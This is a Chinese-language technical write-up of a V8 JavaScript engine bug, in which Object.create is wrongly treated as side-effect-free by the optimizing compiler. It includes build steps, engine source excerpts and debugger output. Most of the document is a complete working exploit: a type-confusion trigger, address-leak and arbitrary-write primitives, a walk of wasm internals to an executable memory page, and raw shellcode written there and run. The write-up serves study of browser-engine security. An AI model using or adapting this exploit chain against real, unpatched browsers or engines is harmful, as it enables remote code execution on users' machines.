一
前置准备
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
./tools/dev/v8gen.py x64.debug -vv
ninja -C out.gn/x64.debug
#如果需要release版本的话,把x64.debug换成x64.release即可,这里为了调试方便,我是用的debug版本
二
漏洞分析
//poc.js
(function() {
function f(o) {
o.x;
Object.create(o);
return o.y.a;
}
f({ x : 0, y : { a : 1 } });
f({ x : 0, y : { a : 2 } });
%OptimizeFunctionOnNextCall(f);
assertEquals(3, f({ x : 0, y : { a : 3 } }));
})();
(function() {
function f(o) {
let a = o.y;
Object.create(o);
return o.x + a;
}
f({ x : 42, y : 21 });
f({ x : 42, y : 21 });
%OptimizeFunctionOnNextCall(f);
assertEquals(63, f({ x : 42, y : 21 }));
})();
@@ -622,7 +622,7 @@
V(CreateKeyValueArray, Operator::kEliminatable, 2, 1) \
V(CreatePromise, Operator::kEliminatable, 0, 1) \
V(CreateTypedArray, Operator::kNoProperties, 5, 1) \
- V(CreateObject, Operator::kNoWrite, 1, 1) \
+ V(CreateObject, Operator::kNoProperties, 1, 1) \
V(ObjectIsArray, Operator::kNoProperties, 1, 1) \
V(HasProperty, Operator::kNoProperties, 2, 1) \
V(HasInPrototypeChain, Operator::kNoProperties, 2, 1) \
//operator.h
enum Property {
kNoProperties = 0,
kCommutative = 1 << 0, // OP(a, b) == OP(b, a) for all inputs.
kAssociative = 1 << 1, // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
kIdempotent = 1 << 2, // OP(a); OP(a) == OP(a).
kNoRead = 1 << 3, // Has no scheduling dependency on Effects
kNoWrite = 1 << 4, // Does not modify any Effects and thereby
// create new scheduling dependencies.
kNoThrow = 1 << 5, // Can never generate an exception.
kNoDeopt = 1 << 6, // Can never generate an eager deoptimization exit.
kFoldable = kNoRead | kNoWrite,
kKontrol = kNoDeopt | kFoldable | kNoThrow,
kEliminatable = kNoDeopt | kNoWrite | kNoThrow,
kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent
};
../../out.gn/x64.debug/d8 poc.js --allow-natives-syntax --trace-turbo
python -m SimpleHTTPServer
TF_BUILTIN(CreateObjectWithoutProperties, ObjectBuiltinsAssembler) {
Node* const prototype = Parameter(Descriptor::kPrototypeArg);
Node* const context = Parameter(Descriptor::kContext);
Node* const native_context = LoadNativeContext(context);
Label call_runtime(this, Label::kDeferred), prototype_null(this),
prototype_jsreceiver(this);
{
Comment("Argument check: prototype");
GotoIf(IsNull(prototype), &prototype_null);
BranchIfJSReceiver(prototype, &prototype_jsreceiver, &call_runtime);
}
..........
BIND(&call_runtime);
{
Comment("Call Runtime (prototype is not null/jsreceiver)");
Node* result = CallRuntime(Runtime::kObjectCreate, context, prototype,
UndefinedConstant());
Return(result);
}
}
RUNTIME_FUNCTION(Runtime_ObjectCreate) {
HandleScope scope(isolate);
Handle<Object> prototype = args.at(0);
Handle<Object> properties = args.at(1);
Handle<JSObject> obj;
// 1. If Type(O) is neither Object nor Null, throw a TypeError exception.
if (!prototype->IsNull(isolate) && !prototype->IsJSReceiver()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kProtoObjectOrNull, prototype));
}
// 2. Let obj be ObjectCreate(O).
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, obj, JSObject::ObjectCreate(isolate, prototype));
// 3. If Properties is not undefined, then
if (!properties->IsUndefined(isolate)) {
// a. Return ? ObjectDefineProperties(obj, Properties).
// Define the properties if properties was specified and is not undefined.
RETURN_RESULT_OR_FAILURE(
isolate, JSReceiver::DefineProperties(isolate, obj, properties));
}
// 4. Return obj.
return *obj;
}
// 9.1.12 ObjectCreate ( proto [ , internalSlotsList ] )
// Notice: This is NOT 19.1.2.2 Object.create ( O, Properties )
MaybeHandle<JSObject> JSObject::ObjectCreate(Isolate* isolate,
Handle<Object> prototype) {
// Generate the map with the specified {prototype} based on the Object
// function's initial map from the current native context.
// TODO(bmeurer): Use a dedicated cache for Object.create; think about
// slack tracking for Object.create.
Handle<Map> map =
Map::GetObjectCreateMap(isolate, Handle<HeapObject>::cast(prototype));
// Actually allocate the object.
Handle<JSObject> object;
if (map->is_dictionary_map()) {
object = isolate->factory()->NewSlowJSObjectFromMap(map);
} else {
object = isolate->factory()->NewJSObjectFromMap(map);
}
return object;
}
Handle<Map> Map::GetObjectCreateMap(Isolate* isolate,
Handle<HeapObject> prototype) {
Handle<Map> map(isolate->native_context()->object_function()->initial_map(),
isolate);
if (map->prototype() == *prototype) return map;
if (prototype->IsNull(isolate)) {
return isolate->slow_object_with_null_prototype_map();
}
if (prototype->IsJSObject()) {
Handle<JSObject> js_prototype = Handle<JSObject>::cast(prototype);
if (!js_prototype->map()->is_prototype_map()) {
JSObject::OptimizeAsPrototype(js_prototype);
}
Handle<PrototypeInfo> info =
Map::GetOrCreatePrototypeInfo(js_prototype, isolate);
// TODO(verwaest): Use inobject slack tracking for this map.
if (info->HasObjectCreateMap()) {
map = handle(info->ObjectCreateMap(), isolate);
} else {
map = Map::CopyInitialMap(isolate, map);
Map::SetPrototype(isolate, map, prototype);
PrototypeInfo::SetObjectCreateMap(info, map);
}
return map;
}
return Map::TransitionToPrototype(isolate, map, prototype);
}
void JSObject::OptimizeAsPrototype(Handle<JSObject> object,
bool enable_setup_mode) {
if (object->IsJSGlobalObject()) return;
if (enable_setup_mode && PrototypeBenefitsFromNormalization(object)) {
// First normalize to ensure all JSFunctions are DATA_CONSTANT.
JSObject::NormalizeProperties(object, KEEP_INOBJECT_PROPERTIES, 0,
"NormalizeAsPrototype");
}
if (object->map()->is_prototype_map()) {
if (object->map()->should_be_fast_prototype_map() &&
!object->HasFastProperties()) {
JSObject::MigrateSlowToFast(object, 0, "OptimizeAsPrototype");
}
} else {
Handle<Map> new_map = Map::Copy(object->GetIsolate(),
handle(object->map(), object->GetIsolate()),
"CopyAsPrototype");
JSObject::MigrateToMap(object, new_map);
object->map()->set_is_prototype_map(true);
// Replace the pointer to the exact constructor with the Object function
// from the same context if undetectable from JS. This is to avoid keeping
// memory alive unnecessarily.
Object* maybe_constructor = object->map()->GetConstructor();
if (maybe_constructor->IsJSFunction()) {
JSFunction* constructor = JSFunction::cast(maybe_constructor);
if (!constructor->shared()->IsApiFunction()) {
Context* context = constructor->context()->native_context();
JSFunction* object_function = context->object_function();
object->map()->SetConstructor(object_function);
}
}
}
}
static bool PrototypeBenefitsFromNormalization(Handle<JSObject> object) {
DisallowHeapAllocation no_gc;
if (!object->HasFastProperties()) return false;
if (object->IsJSGlobalProxy()) return false;
if (object->GetIsolate()->bootstrapper()->IsActive()) return false;
return !object->map()->is_prototype_map() ||
!object->map()->should_be_fast_prototype_map();
}
void JSObject::NormalizeProperties(Handle<JSObject> object,
PropertyNormalizationMode mode,
int expected_additional_properties,
const char* reason) {
if (!object->HasFastProperties()) return;
Handle<Map> map(object->map(), object->GetIsolate());
Handle<Map> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);
MigrateToMap(object, new_map, expected_additional_properties);
}
Handle<Map> Map::Normalize(Isolate* isolate, Handle<Map> fast_map,
PropertyNormalizationMode mode, const char* reason) {
DCHECK(!fast_map->is_dictionary_map());
Handle<Object> maybe_cache(isolate->native_context()->normalized_map_cache(),
isolate);
bool use_cache =
!fast_map->is_prototype_map() && !maybe_cache->IsUndefined(isolate);
Handle<NormalizedMapCache> cache;
if (use_cache) cache = Handle<NormalizedMapCache>::cast(maybe_cache);
Handle<Map> new_map;
if (use_cache && cache->Get(fast_map, mode).ToHandle(&new_map)) {
#ifdef VERIFY_HEAP
if (FLAG_verify_heap) new_map->DictionaryMapVerify(isolate);
#endif
#ifdef ENABLE_SLOW_DCHECKS
if (FLAG_enable_slow_asserts) {
// The cached map should match newly created normalized map bit-by-bit,
// except for the code cache, which can contain some ICs which can be
// applied to the shared map, dependent code and weak cell cache.
Handle<Map> fresh = Map::CopyNormalized(isolate, fast_map, mode);
if (new_map->is_prototype_map()) {
// For prototype maps, the PrototypeInfo is not copied.
DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address()),
reinterpret_cast<void*>(new_map->address()),
kTransitionsOrPrototypeInfoOffset));
DCHECK_EQ(fresh->raw_transitions(),
MaybeObject::FromObject(Smi::kZero));
STATIC_ASSERT(kDescriptorsOffset ==
kTransitionsOrPrototypeInfoOffset + kPointerSize);
DCHECK_EQ(0, memcmp(HeapObject::RawField(*fresh, kDescriptorsOffset),
HeapObject::RawField(*new_map, kDescriptorsOffset),
kDependentCodeOffset - kDescriptorsOffset));
} else {
DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address()),
reinterpret_cast<void*>(new_map->address()),
Map::kDependentCodeOffset));
}
STATIC_ASSERT(Map::kPrototypeValidityCellOffset ==
Map::kDependentCodeOffset + kPointerSize);
int offset = Map::kPrototypeValidityCellOffset + kPointerSize;
DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address() + offset),
reinterpret_cast<void*>(new_map->address() + offset),
Map::kSize - offset));
}
#endif
} else {
new_map = Map::CopyNormalized(isolate, fast_map, mode);
if (use_cache) {
cache->Set(fast_map, new_map);
isolate->counters()->maps_normalized()->Increment();
}
if (FLAG_trace_maps) {
LOG(isolate, MapEvent("Normalize", *fast_map, *new_map, reason));
}
}
fast_map->NotifyLeafMapLayoutChange(isolate);
return new_map;
}
Handle<Map> Map::CopyNormalized(Isolate* isolate, Handle<Map> map,
PropertyNormalizationMode mode) {
int new_instance_size = map->instance_size();
if (mode == CLEAR_INOBJECT_PROPERTIES) {
new_instance_size -= map->GetInObjectProperties() * kPointerSize;
}
Handle<Map> result = RawCopy(
isolate, map, new_instance_size,
mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties());
// Clear the unused_property_fields explicitly as this field should not
// be accessed for normalized maps.
result->SetInObjectUnusedPropertyFields(0);
result->set_is_dictionary_map(true);
result->set_is_migration_target(false);
result->set_may_have_interesting_symbols(true);
result->set_construction_counter(kNoSlackTracking);
#ifdef VERIFY_HEAP
if (FLAG_verify_heap) result->DictionaryMapVerify(isolate);
#endif
return result;
}
void Map::set_is_dictionary_map(bool value) {
uint32_t new_bit_field3 = IsDictionaryMapBit::update(bit_field3(), value);
new_bit_field3 = IsUnstableBit::update(new_bit_field3, value);
set_bit_field3(new_bit_field3);
}
//myPoc.js
function triggerVul(obj){
obj.x;
Object.create(obj);
return obj.y;
}
var obj = {"x":11};
obj.y = 22;
triggerVul(obj);
triggerVul(obj);
for(let i = 0;i<10000;i++){
var obj = {"x":11};
obj.y = 22;
var result = triggerVul(obj);
if(result!=22){
console.log("\033[32m[!] Vul has been triggered!\033[0m");
break;
}
}
//test.js
var obj = {"a":1,"b":2};
obj.c=11;
obj.d=22;
%DebugPrint(obj);
Object.create(obj);
%DebugPrint(obj);
%SystemBreak();
gdb ./d8
set args --allow-natives-syntax ./test.js
r
第一次DebugPrint:
0x1866d7b8e1b1: [JS_OBJECT_TYPE]
- map: 0x181a3138ca71 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x03ce280846d9 <Object map = 0x181a313822f1>
- elements: 0x108cb1b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1866d7b8e2c9 <PropertyArray[3]> {
#a: 1 (data field 0)
#b: 2 (data field 1)
#c: 11 (data field 2) properties[0]
#d: 22 (data field 3) properties[1]
}
第二次DebugPrint:
0x1866d7b8e1b1: [JS_OBJECT_TYPE]
- map: 0x181a3138cb11 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x03ce280846d9 <Object map = 0x181a313822f1>
- elements: 0x108cb1b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1866d7b8e371 <NameDictionary[53]> {
#d: 22 (data, dict_index: 4, attrs: [WEC])
#a: 1 (data, dict_index: 1, attrs: [WEC])
#b: 2 (data, dict_index: 2, attrs: [WEC])
#c: 11 (data, dict_index: 3, attrs: [WEC])
}
0x1866d7b8e371: [ObjectHashTable]
- map: 0x108cb1b83669 <Map>
- length: 53
- elements: 4
- deleted: 0
- capacity: 16
- elements: {
0: 5 -> 0
1: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
2: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
3: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
4: 0x33fa0db050a1 <String[1]: d> -> 22
5: 1216 -> 0x03ce280a2991 <String[1]: a>
6: 1 -> 448
7: 0x03ce280a29a9 <String[1]: b> -> 2
8: 704 -> 0x108cb1b825a1 <undefined>
9: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
10: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
11: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
12: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
13: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
14: 0x108cb1b825a1 <undefined> -> 0x33fa0db068c9 <String[1]: c>
15: 11 -> 960
}
pwndbg> x/20gx 0x1866d7b8e2c9-1
0x1866d7b8e2c8: 0x0000108cb1b83899 0x0000000300000000
0x1866d7b8e2d8: 0x0000000b00000000 0x0000001600000000
0x1866d7b8e2e8: 0x0000108cb1b825a1 0x0000108cb1b82341
0x1866d7b8e2f8: 0x0000000e00000000 0x0000000400000000
0x1866d7b8e308: 0x0000108cb1b846f9 0x000003ce280a2991
0x1866d7b8e318: 0x0000014000000000 0x0000000100000000
0x1866d7b8e328: 0x000003ce280a29a9 0x0010054000000000
0x1866d7b8e338: 0x0000000100000000 0x000033fa0db068c9
0x1866d7b8e348: 0x0020094000000000 0x0000000100000000
0x1866d7b8e358: 0x000033fa0db050a1 0x00300d4000000000
function create(){
var obj = {a:123};
for(let i = 0;i<30;i++){
eval(`obj.${'b'+i} = 456-i`);
}
return obj;
}
let obj_array=[];
/*function triggerVul(obj){
obj.a;
this.Object.create(obj);
eval(`
${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}
`);
}*/
function find(){
for (let i = 0;i<40;i++){
obj_array[i] = 'b'+i;
}
eval(`
function triggerVul(obj){
obj.a;
this.Object.create(obj);
${obj_array.map(
(b) => `let ${b} = obj.${b};`
).join('\n')}
return [${obj_array.join(', ')}];
}
`);
for(let i = 0;i<10000;i++){
let obj = create();
let array = triggerVul(obj);
for(let j = 0;j<array.length;j++){
if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){
console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));
return ['b'+j , 'b' + (456-array[j])];
}
}
}
}
find();
var obj1 = {a:1,b:2,c:3};
obj1.d = 4;
var obj2 = {a:5,b:6,c:7};
obj2.d = 8;
Object.create(obj1);
Object.create(obj2);
%DebugPrint(obj1);
%DebugPrint(obj2);
%SystemBreak();
obj1:
0x32d124d8e401: [ObjectHashTable]
- map: 0x236b46483669 <Map>
- length: 53
- elements: 4
- deleted: 0
- capacity: 16
- elements: {
0: 5 -> 0
1: 0x201e9c6a2991 <String[1]: a> -> 1
2: 448 -> 0x236b464825a1 <undefined>
3: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
4: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
5: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
6: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
7: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
8: 0x236b464825a1 <undefined> -> 0x0bbcf4f050a1 <String[1]: d>
9: 4 -> 1216
10: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
11: 0x236b464825a1 <undefined> -> 0x0bbcf4f068c9 <String[1]: c>
12: 3 -> 960
13: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
14: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
15: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
}
obj2:
0x32d124d8e5f1: [ObjectHashTable]
- map: 0x236b46483669 <Map>
- length: 53
- elements: 4
- deleted: 0
- capacity: 16
- elements: {
0: 5 -> 0
1: 0x201e9c6a2991 <String[1]: a> -> 5
2: 448 -> 0x236b464825a1 <undefined>
3: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
4: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
5: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
6: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
7: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
8: 0x236b464825a1 <undefined> -> 0x0bbcf4f050a1 <String[1]: d>
9: 8 -> 1216
10: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
11: 0x236b464825a1 <undefined> -> 0x0bbcf4f068c9 <String[1]: c>
12: 7 -> 960
13: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
14: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
15: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
}
let C1 = 0;
let C2 = 0;
function leak_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = 456;`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:1.1,c11:2.2};`);
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
}
}
return obj;
}
function leak(target){
eval(`
function triggerVul(target)
{
target.a;
this.Object.create(target);
return target.${C1}.c10;
}
`);
for(let i = 0; i<10000; i++){
var obj = leak_obj_create(target);
var leak_addr = triggerVul(obj);
if(leak_addr!=1.1&&leak_addr!=456&&leak_addr!=undefined){
console.log("\033[1;32m[*] target addr is leaked: \033[0m 0x" + (f_to_i(leak_addr)));
return f_to_i(leak_addr);
}
}
}
[C1,C2] = find();
var buffer = new ArrayBuffer(0x100);
leak(buffer);
obj.C1 = {c10:{c11:1.1,c12:2.2}};
obj.C2 = {c20:target};
function write_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = {};`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:{c11:1.1,c12:2.2}};`);
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
}
}
return obj;
}
function write(target,data){
eval(`
function triggerVul(target,data){
target.a;
this.Object.create(target);
let sign = target.${C1}.c10.c12;
target.${C1}.c10.c12 = (data);
return sign;
}
`);
for(let i = 0; i<10000; i++){
var obj = write_obj_create(target);
var sign = triggerVul(obj,data);
if(sign!=2.2){
console.log("\033[1;32m[*] target addr has been write with data: \033[0m " + f_to_i(data));
return ;
}
}
console.log("\033[1;31m[!]Failed to Write Data! \033[0m ");
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm = wasmInstance.exports.main;
wasm();
wasmFunctionaddr
==>
SharedInfo
==>
WasmExportedFunctionData
==>
Instance
==>
Instance+0xe8+0x8(直接vmmap看就能发现这里是有rwx权限的)
var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var i32 = new Uint32Array(buf);
function f_to_i(target)
{
f64[0] = target;
let tmp = Array.from(i32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i_to_f(target)
{
let tmp = [];
tmp[0] = parseInt(target % 0x100000000);
tmp[1] = parseInt((target-tmp[0]) / 0x100000000);
i32.set(tmp);
return f64[0];
}
function hex(target){
return target.toString(16).padStart(16,"0");
}
function gc()
{
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function create(){
var obj = {a:123};
for(let i = 0;i<30;i++){
eval(`obj.${'b'+i} = 456-i`);
}
return obj;
}
let obj_array=[];
/*function triggerVul(obj){
obj.a;
this.Object.create(obj);
eval(`
${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}
`);
}*/
function find(){
for (let i = 0;i<40;i++){
obj_array[i] = 'b'+i;
}
eval(`
function triggerVul(obj){
obj.a;
this.Object.create(obj);
${obj_array.map(
(b) => `let ${b} = obj.${b};`
).join('\n')}
return [${obj_array.join(', ')}];
}
`);
for(let i = 0;i<10000;i++){
let obj = create();
let array = triggerVul(obj);
for(let j = 0;j<array.length;j++){
if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){
console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));
return ['b'+j , 'b' + (456-array[j])];
}
}
}
}
let C1 = 0;
let C2 = 0;
function leak_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = 1.1;`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:1.1,c11:2.2};`);
//eval(`obj.${C1} = 1.1;`)
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
//eval(`obj.${C2} = target;`)
}
}
return obj;
}
function leak(target){
eval(`
function triggerVul(target)
{
target.a;
this.Object.create(target);
return target.${C1}.c10;
}
`);
for(let i = 0; i<10000; i++){
var obj = leak_obj_create(target);
var leak_addr = triggerVul(obj);
if(leak_addr!=1.1&&leak_addr!=undefined){
console.log("\033[1;32m[*] target addr is leaked: \033[0m " + (f_to_i(leak_addr)));
return f_to_i(leak_addr);
}
}
}
function write_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = {};`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:{c11:1.1,c12:2.2}};`);
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
}
}
return obj;
}
function write(target,data){
eval(`
function triggerVul(target,data){
target.a;
this.Object.create(target);
let sign = target.${C1}.c10.c12;
target.${C1}.c10.c12 = (data);
return sign;
}
`);
for(let i = 0; i<10000; i++){
var obj = write_obj_create(target);
var sign = triggerVul(obj,data);
if(sign!=2.2){
console.log("\033[1;32m[*] target addr has been write with data: \033[0m " + f_to_i(data));
return ;
}
}
console.log("\033[1;31m[!]Failed to Write Data! \033[0m ");
}
[C1,C2] = find();
var buffer = new ArrayBuffer(0x200);
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm = wasmInstance.exports.main;
wasm();
var wasm_addr = leak(wasm);
write(buffer,i_to_f(wasm_addr));
let dataview = new DataView(buffer);
shared_info = f_to_i(dataview.getFloat64(0x18-0x1,true));
console.log("\033[1;32m[*] shared info addr is leaked: \033[0m " + (shared_info));
write(buffer,i_to_f((shared_info)));
WasmFunc = f_to_i(dataview.getFloat64(0x8-0x1,true));
console.log("\033[1;32m[*] wasm Func addr is leaked: \033[0m " + (WasmFunc));
write(buffer,i_to_f(WasmFunc));
Instance = f_to_i(dataview.getFloat64(0x10-0x1,true));
console.log("\033[1;32m[*] wasm Instance addr is leaked: \033[0m " + (Instance));
write(buffer,i_to_f(Instance));
wasm_rwx = f_to_i(dataview.getFloat64(0xe8+0x8-0x1,true));
console.log("\033[1;32m[*] wasm rwx addr is leaked: \033[0m " + (wasm_rwx));
write(buffer,i_to_f(wasm_rwx));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
for(let i=0;i<shellcode.length;i++){
dataview.setUint8(i,shellcode[i]);
}
wasm();
//%DebugPrint(buffer);
//%DebugPrint(wasm);
//%DebugPrint(shared_info);
//%SystemBreak();